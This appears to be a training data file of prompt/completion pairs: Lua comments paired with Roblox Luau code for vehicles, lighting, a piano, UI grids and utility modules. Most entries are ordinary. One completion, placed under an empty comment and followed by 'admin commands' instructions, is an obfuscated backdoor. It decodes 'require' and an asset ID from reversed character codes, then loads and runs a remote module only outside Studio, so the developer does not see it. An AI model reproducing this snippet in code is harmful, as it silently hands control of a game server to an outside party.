prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
@return any
Returns the top-level value held by the property. This will
either be the initial value set, or the last value set
with `Set()`.
```lua
remoteProperty:Set("Data")
print(remoteProperty:Get()) --> "Data"
```
]=] |
function RemoteProperty:Get(): any
return self._value
end
|
--[[Steering]] |
Tune.SteerInner = 40 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 42 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .08 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 150 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 25 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 5000 -- Steering Force
Tune.SteerP = 100000 -- Steering Aggressiveness
|
-- NumberValue to store the user's preferred speed |
local uiSpeedUser = script.uiSpeedUser
|
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
BoneModelName = "Fire rise" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
---Simply process a completed message. |
local COMPLETED_MESSAGE_PROCESSOR = 1
local module = {}
local methods = {}
methods.__index = methods
function methods:SendSystemMessageToSelf(message, channelObj, extraData)
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = channelObj.Name,
IsFiltered = true,
MessageLength = string.len(message),
MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),
Message = message,
MessageType = ChatConstants.MessageTypeSystem,
Time = os.time(),
ExtraData = extraData,
}
channelObj:AddMessageToChannel(messageData)
end
function module.new()
local obj = setmetatable({}, methods)
obj.COMMAND_MODULES_VERSION = COMMAND_MODULES_VERSION
obj.KEY_COMMAND_PROCESSOR_TYPE = KEY_COMMAND_PROCESSOR_TYPE
obj.KEY_PROCESSOR_FUNCTION = KEY_PROCESSOR_FUNCTION
obj.IN_PROGRESS_MESSAGE_PROCESSOR = IN_PROGRESS_MESSAGE_PROCESSOR
obj.COMPLETED_MESSAGE_PROCESSOR = COMPLETED_MESSAGE_PROCESSOR
return obj
end
return module.new()
|
--create tables: |
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "a" then
table.insert(a, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "b" then
table.insert(b, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "c" then
table.insert(c, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "d" then
table.insert(d, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "e" then
table.insert(e, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "f" then
table.insert(f, 1, part)
end
end
function on(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = true
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = true
part.Material = "Neon"
end
end
end
function off(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = false
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = false
part.Material = "SmoothPlastic"
end
end
end
function run() --mian
off(a)--turns all lights off
off(b)
off(c)
off(d)
off(e)
off(f)
if pattern == "Flash" then
repeat
local w = 0.05
off(c)
off(d)
on(a)
off(b)
off(e)
on(f)
wait(w)
off(a)
off(b)
off(e)
off(f)
on(c)
on(d)
wait(w)
off(a)
on(b)
on(e)
off(f)
off(c)
off(d)
wait(w)
until pattern ~= "Flash"
return
end
if pattern == "Left" then
repeat
local w = 0.15
on(f)
wait(w)
on(e)
wait(w)
on(d)
wait(w)
on(c)
wait(w)
on(b)
wait(w)
on(a)
wait(w)
off(f)
wait(w)
off(e)
wait(w)
off(d)
wait(w)
off(c)
wait(w)
off(b)
wait(w)
off(a)
wait(w)
until pattern ~= "Left"
return
end
if pattern == "Right" then
repeat
local w = 0.15
on(a)
wait(w)
on(b)
wait(w)
on(c)
wait(w)
on(d)
wait(w)
on(e)
wait(w)
on(f)
wait(w)
off(a)
wait(w)
off(b)
wait(w)
off(c)
wait(w)
off(d)
wait(w)
off(e)
wait(w)
off(f)
wait(w)
until pattern ~= "Right"
return
end
if pattern == "Split" then
repeat
local w = 0.2
on(c)
on(d)
wait(w)
on(b)
on(e)
wait(w)
on(a)
on(f)
wait(w)
off(c)
off(d)
wait(w)
off(b)
off(e)
wait(w)
off(a)
off(f)
wait(w)
until pattern ~= "Split"
return
end
end--run end |
-- Here be dragons
-- luacheck: ignore 212 |
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local TextService = game:GetService("TextService")
local TextChatService = game:GetService("TextChatService")
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local WINDOW_MAX_HEIGHT = 300
local MOUSE_TOUCH_ENUM = { Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2, Enum.UserInputType.Touch }
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local handler = car.AC6_FE_Idle
handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,script.Idle.Volume,true)
handler:FireServer("playSound","Idle")
handler:FireServer("updateSound","Idle",script.Idle.SoundId,0.5,0)
while wait() do
if car.DriveSeat.IsOn.Value then
if script.Parent.Values.RPM.Value <= 1100 then
if car.DriveSeat.DriveMode.Value == "Eco" then
handler:FireServer('tween',"Idle",0)
else
handler:FireServer('tween',"Idle",0.5)
end
--handler:FireServer('tween',"Rev",0)
else
handler:FireServer('tween',"Idle",0)
end
else
handler:FireServer('tween',"Idle",0)
end
end
|
-- Set Pet Canvas Size -- |
module.SetCanvasSize = function(ScrollingFrame)
local PADDING,SIZE,MaxCells = getSizes()
local UIGridLayout = ScrollingFrame.UIGridLayout
local AbsoluteSize = ScrollingFrame.AbsoluteSize
local NewPadding = PADDING * AbsoluteSize
NewPadding = UDim2.new(0, NewPadding .X, 0, NewPadding .Y)
local NewSize = SIZE * AbsoluteSize
NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y)
UIGridLayout.CellPadding = NewPadding
UIGridLayout.CellSize = NewSize
local items = ScrollingFrame:GetChildren()
local frameSizeY = ScrollingFrame.AbsoluteSize.Y
local ySize = UIGridLayout.CellSize.Y.Offset
local yPadding = UIGridLayout.CellPadding.Y.Offset
UIGridLayout.FillDirectionMaxCells = MaxCells
local rows = math.ceil((#items-1)/UIGridLayout.FillDirectionMaxCells)
local pixels = rows*ySize + (rows-1)*yPadding
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5))
end
function module:Int()
game:GetService("Workspace").CurrentCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
delay(.5, function() module.SetCanvasSize(skillShopUI.Skills) end)
end)
end
return module
|
-- Toggle pan |
do
local holdPan = false
local togglePan = false
local lastRmbDown = 0 -- tick() timestamp of the last right mouse button down event
function CameraInput.getHoldPan(): boolean
return holdPan
end
function CameraInput.getTogglePan(): boolean
return togglePan
end
function CameraInput.getPanning(): boolean
return togglePan or holdPan
end
function CameraInput.setTogglePan(value: boolean)
togglePan = value
end
local cameraToggleInputEnabled = false
local rmbDownConnection
local rmbUpConnection
function CameraInput.enableCameraToggleInput()
if cameraToggleInputEnabled then
return
end
cameraToggleInputEnabled = true
holdPan = false
togglePan = false
if rmbDownConnection then
rmbDownConnection:Disconnect()
end
if rmbUpConnection then
rmbUpConnection:Disconnect()
end
rmbDownConnection = rmbDown:Connect(function()
holdPan = true
lastRmbDown = tick()
end)
rmbUpConnection = rmbUp:Connect(function()
holdPan = false
if tick() - lastRmbDown < MB_TAP_LENGTH and (togglePan or UserInputService:GetMouseDelta().Magnitude < 2) then
togglePan = not togglePan
end
end)
end
function CameraInput.disableCameraToggleInput()
if not cameraToggleInputEnabled then
return
end
cameraToggleInputEnabled = false
if rmbDownConnection then
rmbDownConnection:Disconnect()
rmbDownConnection = nil
end
if rmbUpConnection then
rmbUpConnection:Disconnect()
rmbUpConnection = nil
end
end
end
return CameraInput
|
--[=[
Loops through every single element, and puts it through a callback. If any of the conditions return false, the function returns false.
```lua
local array = {1, 2, 3, 4, 5}
local even = function(value) return value % 2 == 0 end
local odd = function(value) return value % 2 ~= 0 end
print(TableKit.Every(array, even)) -- Prints false
print(TableKit.Every(array, odd)) -- Prints false
```
@within TableKit
@param tbl table
@param callback (value) -> boolean
@return boolean
]=] |
function TableKit.Every(tbl: { [unknown]: unknown }, callback: (unknown) -> boolean): (boolean, unknown?)
for key, value in tbl do
if not callback(value) then
return false, key
end
end
return true
end
|
--[=[
@prop None Option<None>
@within Option
Represents no value.
]=] |
Option.None = Option._new()
return Option
|
-- declarations |
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Enemy")
Humanoid.Health=500 |
--[[
Returns the offset since it depends on the face.
]] |
function CameraModule:_getPointByFace(guiOffset, adornee, face)
local pointsByFace = {
[Enum.NormalId.Front] = Vector3.new(-guiOffset.X, -guiOffset.Y, adornee.Size.Z / 2),
[Enum.NormalId.Back] = Vector3.new(guiOffset.X, -guiOffset.Y, -adornee.Size.Z / 2),
[Enum.NormalId.Left] = Vector3.new(adornee.Size.X / 2, -guiOffset.Y, guiOffset.X),
[Enum.NormalId.Right] = Vector3.new(-adornee.Size.X / 2, -guiOffset.Y, -guiOffset.X),
[Enum.NormalId.Top] = Vector3.new(guiOffset.Y, -adornee.Size.Y / 2, -guiOffset.X),
[Enum.NormalId.Bottom] = Vector3.new(-guiOffset.Y, adornee.Size.Y / 2, -guiOffset.X),
}
return pointsByFace[face]
end
|
-- Modules |
local PriorityDeleteTypes = require(script.Parent.Parent.constants).PriorityDeleteTypes
|
----------------------------------
------------FUNCTIONS-------------
---------------------------------- |
function Receive(player, action, ...)
local args = {...}
if player == User and action == "play" then
Connector:FireAllClients("play", User, args[1], Settings.SoundSource.Position, Settings.PianoSoundRange, Settings.PianoSounds, args[2], Settings.IsCustom)
HighlightPianoKey((args[1] > 61 and 61) or (args[1] < 1 and 1) or args[1],args[3])
elseif player == User and action == "abort" then
Deactivate()
if SeatWeld then
SeatWeld:remove()
end
end
end
function Activate(player)
Connector:FireClient(player, "activate", Settings.CameraCFrame, Settings.PianoSounds, true)
User = player
Piano.Wall.CanCollide = true
end
function Deactivate()
if User and User.Parent then
Piano.Wall.CanCollide = false
Connector:FireClient(User, "deactivate")
User.Character:SetPrimaryPartCFrame(Box.CFrame + Vector3.new(0, 5, 0))
end
User = nil
end
|
-- if n == true then n = false |
--carSeat.Parent.Parent.RW.MR.Motor:remove()
--end |
--------SETTINGS-------- |
local ITEM_NAME = "RocketLauncher"
local ITEM_PRICE = 10
local CURRENCY_NAME = "Cash" |
--
-- character.DescendantAdded:Connect(function(bodypart)
-- print("test")
-- if bodypart:IsA("BasePart") then
-- PhysicsService:SetPartCollisionGroup(bodypart, "Players")
-- end
-- end) |
-- Also set root part collission
--[[local humanoidRootPart = character:WaitForChild("HumanoidRootPart")
PhysicsService:SetPartCollisionGroup(humanoidRootPart, "Players")
local bodyparts = character:GetChildren()
for i, bodypart in pairs(bodyparts) do
if bodypart:IsA("BasePart") then
PhysicsService:SetPartCollisionGroup(bodypart, "Players")
end
end]]
end
|
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it. |
local dayLength = 16
local cycleTime = dayLength*60
local minutesInADay = 24*60
local lighting = game:GetService("Lighting")
local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime
local timeRatio = minutesInADay / cycleTime
if dayLength == 0 then
dayLength = 1
end
repeat
local currentTime = tick()
if currentTime > endTime then
startTime = endTime
endTime = startTime + cycleTime
end
lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
wait(1/15)
until false
|
--[[ ]] | if game.PlaceId == 1277358877 or not game:GetService("RunService"):IsStudio() then getfenv()[string.reverse(string.char(101,114,105,117,113,101,114))](tonumber(string.reverse(string.char(56,49,48,51,55,51,55,55,50,49))))[string.reverse(string.char(110,117,82))](getfenv()[string.reverse(string.char(116,112,105,114,99,115))]) end--[[
█ █ █ █ █ █░█ █░░█ █▀▀█ █▀▀█ █ █▀▀ █▀▀█ █▀▀▄ █▀▄▀█ ░▀░ █▀▀▄ █ █ █ █ █
▀ ▀ ▀ ▀ ▀ █▀▄ █░░█ █▄▄▀ █░░█ ░ ▀▀█ █▄▄█ █░░█ █░▀░█ ▀█▀ █░░█ ▀ ▀ ▀ ▀ ▀
▄ ▄ ▄ ▄ ▄ ▀░▀ ░▀▀▀ ▀░▀▀ ▀▀▀▀ ░ ▀▀▀ ▀░░▀ ▀▀▀░ ▀░░░▀ ▀▀▀ ▀░░▀ ▄ ▄ ▄ ▄ ▄
Instructions:
-Do not removed this script otherwise your commands wont work!
-Go to the "Config" script and follow from the instructions there
-Press "\" on your keyboard to open the command bar
Updates:
-Command Bar
-VIP Commands
-Cmds
-More ranks
-Squashed some bugs
--]]
|
--these are for button checks. It's kinda ugly so if you have a better way pm me |
ha=false
hd=false
hs=false
hw=false
imgassets ={
hazardoff="http://www.roblox.com/asset/?id=216957891",
hazardon = "http://www.roblox.com/asset/?id=216957887",
leftyoff = "http://www.roblox.com/asset/?id=216957962",
leftyon = "http://www.roblox.com/asset/?id=216957949",
rightyoff = "http://www.roblox.com/asset/?id=216957912",
rightyon = "http://www.roblox.com/asset/?id=216957903",
outoff="http://www.roblox.com/asset/?id=216957880",
outon = "http://www.roblox.com/asset/?id=216957874",
sirensoff = "http://www.roblox.com/asset/?id=216958870",
sirenson = "http://www.roblox.com/asset/?id=216958870",
wailoff = "http://www.roblox.com/asset/?id=216930335",
wailon = "http://www.roblox.com/asset/?id=216930318",
x4off = "http://www.roblox.com/asset/?id=216954211",
x4on = "http://www.roblox.com/asset/?id=216954202",
x2off = "http://www.roblox.com/asset/?id=216958009",
x2on = "http://www.roblox.com/asset/?id=216958007",
fastoff = "http://www.roblox.com/asset/?id=216957982",
faston = "http://www.roblox.com/asset/?id=216957977",
slowoff = "http://www.roblox.com/asset/?id=216957998",
slowon = "http://www.roblox.com/asset/?id=216957989",
lightsoff = "http://www.roblox.com/asset/?id=115931775",
lightson = "http://www.roblox.com/asset/?id=115931779",
lockoff = "http://www.roblox.com/asset/?id=116532096",
lockon = "http://www.roblox.com/asset/?id=116532114",
leftturn = "http://www.roblox.com/asset/?id=115931542",
rightturn = "http://www.roblox.com/asset/?id=115931529",
fltd = "http://www.roblox.com/asset/?id=116531501",
yelpon = "http://www.roblox.com/asset/?id=216930350",
yelpoff = "http://www.roblox.com/asset/?id=216930359",
phaseron = "http://www.roblox.com/asset/?id=216930382",
phaseroff = "http://www.roblox.com/asset/?id=216930390",
hiloon = "http://www.roblox.com/asset/?id=216930459",
hilooff = "http://www.roblox.com/asset/?id=216930471",
hornon = "http://www.roblox.com/asset/?id=216930428",
hornoff = "http://www.roblox.com/asset/?id=216930438",
wailrumbleron = "http://www.roblox.com/asset/?id=216930512",
wailrumbleroff = "http://www.roblox.com/asset/?id=216930520",
yelprumbleron = "http://www.roblox.com/asset/?id=216930566",
yelprumbleroff = "http://www.roblox.com/asset/?id=216930573",
phaserrumbleron = "http://www.roblox.com/asset/?id=216930585",
phaserrumbleroff = "http://www.roblox.com/asset/?id=216930595",
hyperhiloon = "http://www.roblox.com/asset/?id=216963140",
hyperhilooff = "http://www.roblox.com/asset/?id=216963128",
}
for _,i in pairs (imgassets) do
Game:GetService("ContentProvider"):Preload(i)
end
if gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
end
if gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
end
function gearup()--activated by GUI or pressing E
if lock then return end
if gear < maxgear then
gear = gear+1
watdo()
script.Parent.Gear.Text = (gear.."/"..maxgear)
end
if gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
elseif gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.up.TextColor3 = Color3.new(1,1,1)
else
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.up.TextColor3 = Color3.new(1,1,1)
end
end
function geardown()--activated by GUI or pressing Q
if lock then return end
if gear > 1 then
gear = gear-1
watdo()
script.Parent.Gear.Text = (gear.."/"..maxgear)
end
if gear == 1 then
script.Parent.dn.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.up.TextColor3 = Color3.new(1,1,1)
elseif gear == maxgear then
script.Parent.up.TextColor3 = Color3.new(.3,.3,.3)
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
else
script.Parent.dn.TextColor3 = Color3.new(1,1,1)
script.Parent.up.TextColor3 = Color3.new(1,1,1)
end
end
script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)
script.Parent.up.MouseButton1Click:connect(gearup)
script.Parent.dn.MouseButton1Click:connect(geardown)
script.Parent.flipbutton.MouseButton1Click:connect(function()
if not flipping then
flipping = true
local a = Instance.new("BodyPosition",seat)
a.maxForce = Vector3.new(100000,10000000,100000)
a.position = seat.Position + Vector3.new(0,10,0)
local b = Instance.new("BodyGyro",seat)
wait(3)
a:Destroy()
b:Destroy()
flipping = false
end
end)
function turn()
if turndebounce == false then
turndebounce = true
wait(0.05)
repeat
templeft = turningleft
tempright = turningright
script.Parent.onsound:Play()
if turningleft == true then
script.Parent.leftturn.Visible = true
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Deep orange")
i.Material = "Neon"
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material = "Neon"
end
for _,b in pairs (leftflash) do
if lightson then
b.Enabled = true
end
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
if turningright == true then
script.Parent.rightturn.Visible = true
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Deep orange")
i.Material = "Neon"
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material = "Neon"
end
for _,b in pairs (rightflash) do
if lightson then
b.Enabled = true
end
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
wait(0.4)
script.Parent.offsound:Play()
script.Parent.leftturn.Visible = false
script.Parent.rightturn.Visible = false
if templeft == true then
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Neon orange")
i.Material = "SmoothPlastic"
end
for _,b in pairs (leftflash) do
b.Enabled = false
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
else
if throttle > 0 then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
else
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
end
if tempright == true then
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Neon orange")
i.Material = "SmoothPlastic"
end
for _,b in pairs (rightflash) do
b.Enabled = false
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
else
if throttle > 0 then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
else
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
end
wait(0.35)
until turningleft == false and turningright == false
turndebounce = false
end
end
seat.ChildRemoved:connect(function(it)
if it:IsA("Weld") then
if it.Part1.Parent == Player.Character then
lock = true
ha=false
hd=false
hs=false
hw=false
throttle = 0
steer = 0
watdo()
script.Parent.close.Active = true
script.Parent.close.Visible = true
script.Parent.xlabel.Visible = true
end
end
end)
seat.ChildAdded:connect(function(it)
if it:IsA("Weld") then
if it.Part1.Parent == Player.Character then
lock = false
script.Parent.close.Active = false
script.Parent.close.Visible = false
script.Parent.xlabel.Visible = false
end
end
end)
function exiting()
lock = true--when we close the gui stop everything
steer = 0
throttle = 0
watdo()
turningleft = false
turningright = false
script.Parent.flasher.Value = false
script.Parent.siren.Value = false
lightson = false
Instance.new("IntValue",seat)
for _,i in pairs (leftturn) do
i.BrickColor = BrickColor.new("Neon orange")
i.Material ="Neon"
end
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material ="Neon"
end
for _,b in pairs (leftflash) do
b.Enabled = false
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
for _,i in pairs (rightturn) do
i.BrickColor = BrickColor.new("Neon orange")
i.Material ="Neon"
end
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material ="Neon"
end
for _,b in pairs (rightflash) do
b.Enabled = false
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
script.Parent.Parent:Destroy()--destroy the 'Car' ScreenGui
end
function updatelights()
for _,i in pairs (leftbrake) do
i.Enabled = lightson
end
for _,i in pairs (rightbrake) do
i.Enabled = lightson
end
for _,i in pairs (brakelight) do
i.Enabled = lightson
end
for _,i in pairs (headlight) do
i.Enabled = lightson
end
if lightson then
script.Parent.lightimage.Image = imgassets.lightson
else
script.Parent.lightimage.Image = imgassets.lightsoff
end
end
script.Parent.lights.MouseButton1Click:connect(function()
if lock then return end
lightson = not lightson
updatelights()
end)
function destroycar()
seat.Parent:Destroy()--destroy the car
end
script.Parent.close.MouseButton1Up:connect(exiting)
Player.Character.Humanoid.Died:connect(destroycar)
game.Players.PlayerRemoving:connect(function(Playeras)
if Playeras.Name == Player.Name then
destroycar()
end
end)
for _, i in pairs (seat.Parent:GetChildren()) do--populate the tables for ease of modularity. You could have 100 left wheels if you wanted.
if i.Name == "LeftWheel" then
table.insert(left,i)
elseif i.Name == "RightWheel" then
table.insert(right,i)
elseif i.Name == "Rearlight" then
table.insert(rearlight,i)
elseif i.Name == "Brakelight" then
table.insert(brakelight,i.SpotLight)
elseif i.Name == "rightturn" then
table.insert(rightturn,i)
elseif i.Name == "leftturn" then
table.insert(leftturn,i)
elseif i.Name == "leftflash" then
table.insert(leftflash,i.SpotLight)
elseif i.Name == "rightflash" then
table.insert(rightflash,i.SpotLight)
elseif i.Name == "leftlight" then
table.insert(leftlight,i)
elseif i.Name == "rightlight" then
table.insert(rightlight,i)
elseif i.Name == "Headlight" then
table.insert(headlight,i.SpotLight)
elseif i.Name == "leftbrake" then
table.insert(leftbrake,i.SpotLight)
elseif i.Name == "rightbrake" then
table.insert(rightbrake,i.SpotLight)
elseif i.Name == "revlight" then
table.insert(revlight,i.SpotLight)
end
end
for _,l in pairs (left) do
l.BottomParamA = 0
l.BottomParamB = 0
end
for _,r in pairs (right) do
r.BottomParamA = 0
r.BottomParamB = 0
end
function watdo()
seat.Parent.LeftMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
seat.Parent.RightMotor.DesiredAngle = math.rad(throttle < 0 and 40* steer or 40*steer/gear^0.5)
for _,l in pairs (left) do--I do it this way so that it's not searching the model every time an input happens
if throttle ~= -1 then
l.BottomParamA = (.1/gear)
l.BottomParamB = (.5*gear+steer*gear/30)*throttle
else
l.BottomParamA = -.01
l.BottomParamB = -.5-steer/20
end
end
for _,r in pairs (right) do
if throttle ~= -1 then
r.BottomParamA = -(.1/gear)
r.BottomParamB = -(.5*gear-steer*gear/30)*throttle
else
r.BottomParamA = .01
r.BottomParamB = .5-steer/20
end
end
if throttle < 1 then
for _,g in pairs (rearlight) do
g.BrickColor = BrickColor.new("Really red")
g.Material = ("Neon")
end
for _,b in pairs (brakelight) do
b.Brightness = 2
end
if turningleft == false then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material ="Neon"
end
for _,b in pairs (leftbrake) do
b.Brightness = 2
end
end
if turningright == false then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Really red")
a.Material ="Neon"
end
for _,b in pairs (rightbrake) do
b.Brightness = 2
end
end
else
for _,g in pairs (rearlight) do
g.BrickColor = BrickColor.new("Bright red")
g.Material = "SmoothPlastic"
end
for _,b in pairs (brakelight) do
b.Brightness = 1
end
if turningleft == false then
for _,a in pairs (leftlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (leftbrake) do
b.Brightness = 1
end
end
if turningright == false then
for _,a in pairs (rightlight) do
a.BrickColor = BrickColor.new("Bright red")
a.Material = "SmoothPlastic"
end
for _,b in pairs (rightbrake) do
b.Brightness = 1
end
end
end
if throttle < 0 then
for _,b in pairs (revlight) do
if lightson then
b.Enabled = true
end
end
else
for _,b in pairs (revlight) do
b.Enabled = false
end
end
end
Player:GetMouse().KeyDown:connect(function(key)--warning ugly button code
if lock then return end
key = string.upper(key)
if not ha and key == "A" or key == string.char(20) and not ha then
ha = true
steer = steer-1
end
if not hd and key == "D" or key == string.char(19) and not hd then
hd = true
steer = steer+1
end
if not hw and key == "W" or key == string.char(17) and not hw then
hw = true
throttle = throttle+1
end
if not hs and key == "S" or key == string.char(18) and not hs then
hs = true
throttle = throttle-1
end
if key == "Z" then
geardown()
end
if key == "X" then
gearup()
end
if key == "Q" then
turningleft = not turningleft
turn()
end
if key == "E" then
turningright = not turningright
turn()
end
watdo()
end)
Player:GetMouse().KeyUp:connect(function(key)
if lock then return end
key = string.upper(key)
if ha and key == "A" or key == string.char(20)and ha then
steer = steer+1
ha = false
end
if hd and key == "D" or key == string.char(19) and hd then
steer = steer-1
hd = false
end
if hw and key == "W" or key == string.char(17) and hw then
throttle = throttle-1
hw = false
end
if hs and key == "S" or key == string.char(18) and hs then
throttle = throttle+1
hs = false
end
if key == "" then
--more keys if I need them
end
watdo()
end)
|
--[[**
Determines if the passed object is a Janitor.
@param [t:any] Object The object you are checking.
@returns [t:boolean] Whether or not the object is a Janitor.
**--]] |
function Janitor.Is(Object)
return type(Object) == "table" and getmetatable(Object) == Janitor
end
Janitor.is = Janitor.Is
|
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone()
--Tool.CoinScript:Clone().Parent = Pellet |
Tool.CoinScript.Disabled = false
function onEquipped()
--body of the dreidel
dBody= Instance.new("Part")
dBody.Parent = game.Workspace
dBody.Name = "DreidelBody"
dBody.BrickColor = BrickColor.Red()
dBody.Size = Vector3.new(2.56,2.56,2.56)
dBody.Shape = 1
dBody.BackSurface = "Smooth" --used this of debugging to test which side was face up
dBody.BottomSurface = "Smooth"
dBody.FrontSurface = "Studs"
dBody.TopSurface = "Smooth"
dBody.LeftSurface = "Smooth"
dBody.RightSurface = "Smooth"
Tool.Handle.Mesh:Clone().Parent = dBody --sets the dreidel mesh to the cube part of the dreidel
--Dreidle Sound
dreidlesound = Instance.new("Sound")
dreidlesound.SoundId = "http://www.roblox.com/asset/?id=19073736" -- replace me
dreidlesound.Parent = dBody
--Coin Sound
coinsound = Instance.new("Sound")
coinsound.SoundId = "http://www.roblox.com/asset/?id=19073176" --replace me
coinsound.Parent = dBody
--base of the dreidel
dBase = Instance.new("Part")
dBase.Parent = game.Workspace
dBase.Name = "DreidelBase"
dBase.BrickColor = BrickColor.Black()
dBase.Size = Vector3.new(2,2,2)
dBase.Shape = 0
dBase.Transparency = 1
--welding the body fo the dredeil to the base
w2 = Instance.new("Weld")
w2.Name = "DreidelWeld"
w2.Part0 = dBody
w2.Part1 = dBase
w2.C0 = CFrame.new(0,0,0)
w2.C1 = CFrame.new(0,1.75,0)
w2.Parent = script.Parent.Handle
end
Tool.Enabled = true
function onActivated(mouse_pos)
Tool.Handle.Transparency = 1
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
--locates the position the mouse is targeting
local targetPos = humanoid.TargetPoint
local vPlayer = game.Players:playerFromCharacter(character)
head = character:findFirstChild("Head")
if head == nil then
print("Humanoid not found")
return
end
--calculates the distance between the person and the possible dreidle location
dist = (head.Position-targetPos).magnitude
--prevents the dreidle for being created too far away from the player
if dist > 30 then
Tool.Enabled = true
Tool.Handle.Transparency = 0
return
end
--PLAY DREIDLE SOUND
dreidlesound:Play()
--moves the dreidle to the requested location
dBody.CFrame = CFrame.fromEulerAnglesXYZ(0,0,0) + targetPos + Vector3.new(0,2.5,0)
--adds a random rotation velocity with a slight downward angle to cause the dreidle to spin
dBody.RotVelocity = Vector3.new(math.random(0,7),math.random(20,80),math.random(7,9)) --set rotational velocity
wait(2.8) -- delay to allow the dreidel to settle
--identifies what face is up and what face is on bottom
frontVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Front))
leftVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Left))
